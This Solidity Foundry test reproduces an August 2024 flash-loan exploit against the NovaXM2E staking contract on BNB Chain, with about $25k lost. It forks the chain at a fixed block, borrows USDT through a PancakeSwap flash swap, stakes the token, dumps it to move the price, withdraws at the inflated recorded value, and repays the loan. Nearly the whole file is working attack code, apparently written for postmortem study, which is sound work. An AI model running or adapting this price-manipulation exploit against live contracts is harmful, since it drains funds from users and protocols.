src/test/2024-08/NovaXM2E_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~25k USD
8// TX : https://bscscan.com/tx/0xb1ad1188d620746e2e64785307a7aacf2e8dbda4a33061a4f2fbc9721048e012
9// GUY : https://x.com/EXVULSEC/status/1820676684410147276
10// Reason: stake contract will change the token value into usdt value,and withdraw will use this value to cal the amount of token to the
11// attacker, so it's easy to sandwitch the stake and withdraw.
12 
13interface ITokenStake {
14    function stakeIndex() external returns (uint256);
15 
16    function stake(uint256 _poolId, uint256 _stakeValue) external;
17 
18    function withdraw(
19        uint256 _stakeId
20    ) external;
21}
22 
23contract ContractTest is Test {
24    IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
25    Uni_Router_V2 constant router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26    Uni_Pair_V2 constant Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
27    IERC20 constant USDT = IERC20((0x55d398326f99059fF775485246999027B3197955));
28    IERC20 NovaXM2E = IERC20(0xB800AFf8391aBACDEb0199AB9CeBF63771FcF491);
29    uint256 swapamount;
30    ITokenStake tokenStake = ITokenStake(0x55C9EEbd368873494C7d06A4900E8F5674B11bD2);
31 
32    function setUp() public {
33        vm.createSelectFork("bsc", 41_116_210);
34        deal(address(USDT), address(this), 0);
35    }
36 
37    function testExploit() public {
38        emit log_named_decimal_uint("[End] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
39        swapamount = 500_000 ether;
40        Pair.swap(swapamount, 0, address(this), new bytes(1));
41        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
42    }
43 
44    function pancakeCall(
45        address, /*sender*/
46        uint256, /*amount0*/
47        uint256, /*amount1*/
48        bytes calldata /*data*/
49    ) public {
50        swap_token_to_token(address(USDT), address(NovaXM2E), USDT.balanceOf(address(this)));
51        NovaXM2E.approve(address(tokenStake), NovaXM2E.balanceOf(address(this)));
52        tokenStake.stake(0, NovaXM2E.balanceOf(address(this)) / 2);
53        swap_token_to_token(address(NovaXM2E), address(USDT), NovaXM2E.balanceOf(address(this)));
54        uint256 stakeIndex = tokenStake.stakeIndex();
55        tokenStake.withdraw(stakeIndex);
56        swap_token_to_token(address(NovaXM2E), address(USDT), NovaXM2E.balanceOf(address(this)));
57        USDT.transfer(address(Pair), swapamount * 10_000 / 9975 + 1000);
58    }
59 
60    receive() external payable {
61        // payable(address(MARS)).transfer(address(this).balance);
62    }
63 
64    function swap_token_to_token(address a, address b, uint256 amount) internal {
65        IERC20(a).approve(address(router), amount);
66        address[] memory path = new address[](2);
67        path[0] = address(a);
68        path[1] = address(b);
69        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
70    }
71}